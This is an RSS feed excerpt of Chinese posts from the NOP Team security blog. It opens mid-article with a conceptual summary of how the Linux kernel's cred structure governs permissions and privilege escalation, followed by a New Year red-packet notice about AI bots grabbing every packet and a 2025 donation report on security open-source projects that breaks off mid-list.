leaf="">回到开头的问题：在用户登录、执行命令、提权的过程中，Linux 系统底层到底发生了什么？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">答案的核心只有一个数据结构——</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf="">。</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">用户是什么？</span></strong><span leaf=""> 内核不认用户名，只认数字。一个&#34;用户&#34;在内核中的全部体现，就是挂载在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">task_struct</span></code><span leaf=""> 上的一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 对象里的 UID/GID</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">权限怎么判？</span></strong><span leaf=""> 进程每次访问文件时，内核拿 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 中的 fsuid/fsgid/group_info/capabilities 与 inode 的模式位做匹配，全程基于内核内存中的数据，不查任何文本文件</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">权限怎么变？</span></strong><span leaf=""> cred 的修改永远遵循 prepare → modify → commit 的 COW 模式。无论是 SUID 程序的 execve、sudo 的 setresuid，还是 SSH 登录时的身份切换，底层都是同一个机制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">提权是什么？</span></strong><span leaf=""> 所有提权手法——SUID 利用、sudo 配置不当、Capabilities、内核漏洞、服务注入——归结到底都是让进程拿到一个更强的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Linux 内核就是依靠这样一套系统实现了用户的管理，关于 PAM 认证等内容可以参考往期文章</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502442&amp;idx=1&amp;sn=5bc26be1b2fa90a3dd65d2d4269c3c93&amp;scene=21#wechat_redirect" textvalue="PAM 后门 | Linux 后门系列" data-itemshowtype="0" linktype="text" data-linktype="2">PAM 后门 | Linux 后门系列</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502973&amp;idx=1&amp;sn=7cc823a278c4787fd7f151fe75eee2e3&amp;scene=21#wechat_redirect" textvalue="应急响应手册在线版来啦！ 彻底解决 PDF 版痛点！" data-itemshowtype="0" linktype="text" data-linktype="2">应急响应手册在线版来啦！ 彻底解决 PDF 版痛点！</a></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09d3dc7c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503055%26idx%3D1%26sn%3D2a2f454352aa36a373a3d04b2bfe42c0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Apr 2026 01:05:00 +0800</pubDate>
    </item>
    <item>
      <title>第一次遭到 AI 攻击 【文末有红包】</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503048&amp;idx=1&amp;sn=12c599be3cdce68796d335aa94caebc4</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>NOP Team</span> <span>2026-02-18 00:16</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c130ba99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7icpL221ib6Yjwk3uWcibtp71r4Iser78NahT9B3C4MTz3UccgXchnF2I5WnibcZbHShCtoCNWCibRePm6FeN8IV6cMHUCf7hI569Lhf9EHMnypQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">祝大家新春快乐，我们是 NOPTeam ，今天按照传统，在每年的大年初一给大家发个口令红包，给大家拜个年。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">结果今年出现了一个极其尴尬的问题：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">支付宝口令红包设置好后，发现公众号取消了纯文字发布功能，只能通过口令红包默认图片的形式进行发送。 结果我自己都还没有收到公众号推送图文，AI 就在瞬间将所有的红包都抢走了</span></p></blockquote><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100019395" data-ratio="12.128540305010894" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="jpeg" data-w="918" src="https://wechat2rss.xlab.app/img-proxy/?k=db0042d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7icpL221ib6YiaCa3bGMsBE9GImkDCyZricQ5sIZMaAXG7rYvamibV9libPbadlEPoHEGXQbHc3zlhEhqxQ9S4Wj8MWrEcsACVEIGNqic7vro28O20%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在未来面对 AI ，这类问题会更为突出，因此今晚再最后补发一次小红包，给大家增加年味！</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这轮补发的支付宝红包口令为: </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">我们写的书的名字，不带版本名称</span></code><span leaf=""> (希望大家能比 ai 先看明白)</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">从明年开始彻底取消大年初一发红包这个环节</span></strong></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b87b5380&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503048%26idx%3D1%26sn%3D12c599be3cdce68796d335aa94caebc4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 18 Feb 2026 00:16:00 +0800</pubDate>
    </item>
    <item>
      <title>分享图片</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503041&amp;idx=1&amp;sn=656e4261b749744344d1a7e190419a9f</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>NOP Team</span> <span></span> <span style="display: inline-block;">黑龙江</span></p>






  
  
  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3d453a3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7icpL221ib6YjT2fm1IcfUzC0834XHnVOX1flGqnVdaJMBTMeMKTypJw5hywnZicQKLvMmoRdZxpKZXYPVqx92t3muCDxt0TjsgdB4ETtLibqkQ%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e55e1d45&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503041%26idx%3D1%26sn%3D656e4261b749744344d1a7e190419a9f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Feb 2026 20:00:07 +0800</pubDate>
    </item>
    <item>
      <title>2025年公众号赞赏计划公示</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503022&amp;idx=1&amp;sn=42898ef1e5c20670299f96b40322ae70</link>
      <description>愿心中的火永不熄灭～</description>
      <content:encoded><![CDATA[<p>原创 <span>NOP Team</span> <span>2026-02-08 18:11</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4b278457&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7icpL221ib6YgrQyTzb3qYMJIib9kcgZ2iaSPYDD5OIiaERTicEMTIvd9ujfHRtRy2LtbcictweGSdn4y19dZibLw77st2opibWnicoP1X15aFT4nyhjE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>愿心中的火永不熄灭～</p>
  <p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="大小孩" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000002239mH0EWFZk_2.jpg" singer="张韶涵" count="0" is_vip="0" duration="293000" music_source="1" listenid="78338067982029146"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x00 赞赏计划简介</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2022年10月19日，我们的公众号关注达 5000 人的里程碑时，NOP Team 提出一项计划，将我们公众号每年收到的赞赏+我们公司自己也拿出与收到赞赏相同的金额，将这些全部捐献给那些为网络安全做出突出贡献的开源项目</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此前已得到赞赏的项目清单如下:</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">JavaScript Obfuscator Tool</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">GOST</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">fscan</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Vulhub</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ptcpdump</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">希潭实验室-蓝队分析研判工具箱</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">electron-vite</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SoapShell</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">HaE</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ScopeSentry</span></code></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">D盾</span></code></p></div></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">参考链接如下</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247491952&amp;idx=1&amp;sn=b1f491483b66db726a4d362ab14c5138&amp;scene=21#wechat_redirect" textvalue="里程碑！ 突破 5000 人啦！！！" data-itemshowtype="0" linktype="text" data-linktype="2">里程碑！ 突破 5000 人啦！！！</a></span></p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247499348&amp;idx=1&amp;sn=595ce9824825d7026604ac3eefbf4d59&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册发布" data-itemshowtype="0" linktype="text" data-linktype="2">Windows 应急响应手册发布</a></span></p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502667&amp;idx=1&amp;sn=9e980805fcf6f1fa7a39ce857c57159a&amp;scene=21#wechat_redirect" textvalue="2024年公众号赞赏计划说明" data-itemshowtype="0" linktype="text" data-linktype="2">2024年公众号赞赏计划说明</a></span></p></li></ul></div><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">今年的公众号年度总结出来了，我们把情况公布一下，来自大家的赞赏为 258 元</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">按照往年的惯例，公司也会拿出同样的金额 258 元，共 516 元赞赏给大家投票评选出来的项目</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但是，由于 2025 年世界发生了太多的 Bug ，</span><strong style="font-weight: bold;color: black;"><span leaf="">于是公司决定在上述基础上</span></strong><span leaf="">再拿出一部分金额，捐赠给联合国儿童基金会，捐赠以每月订阅的方式进行（实际上已经在 2025 年就开始实施了）</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来会对赞赏项目进行简单介绍</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.1666666666666665" data-type="jpeg" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019370" src="https://wechat2rss.xlab.app/img-proxy/?k=8072119a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7icpL221ib6YjGMZqI9Sut0J89BHJdC4H05CDLIPctS2TN9hzlibVlRtJUdgwUYY6STMujRgTXbtucMBStYeMibBQc9X274QEYBu3OTV2xhSuks%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x01 赞赏计划声明</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">需要注意的是，近些年供应链攻击越来越广泛，这部分安全需要大家自己具备足够的安全意识和技术，大家在使用本文赞赏的所有工具过程中，需要自行判断风险</span></strong></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">我们团队并未对项目所有代码以及开发者心理健康情况做充分调研</span></strong></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">今年的赞赏计划通过投票的方式充分听取了各位的建议，投票结果中存在以下情况，并未给予赞赏</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">非开源项目</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">未留下赞赏方式的开源项目</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">此前已赞赏过，并且 2025 年没有重大更新的项目</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">由经营状态良好的商业公司运营的开源项目</span></strong></p></li></ul></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x02 投票结果公示</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">投票浏览量 982</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">问答回收量 51</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">具体投票结果可查看: </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a href="https://docs.qq.com/sheet/DZmdsdGtYY01ZYW91?tab=Fo3NB2" target="_blank">https://docs.qq.com/sheet/DZmdsdGtYY01ZYW91?tab=Fo3NB2</a></span></code></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以下是今年赞赏计划的项目清单</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x03 XingRin - 星环</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 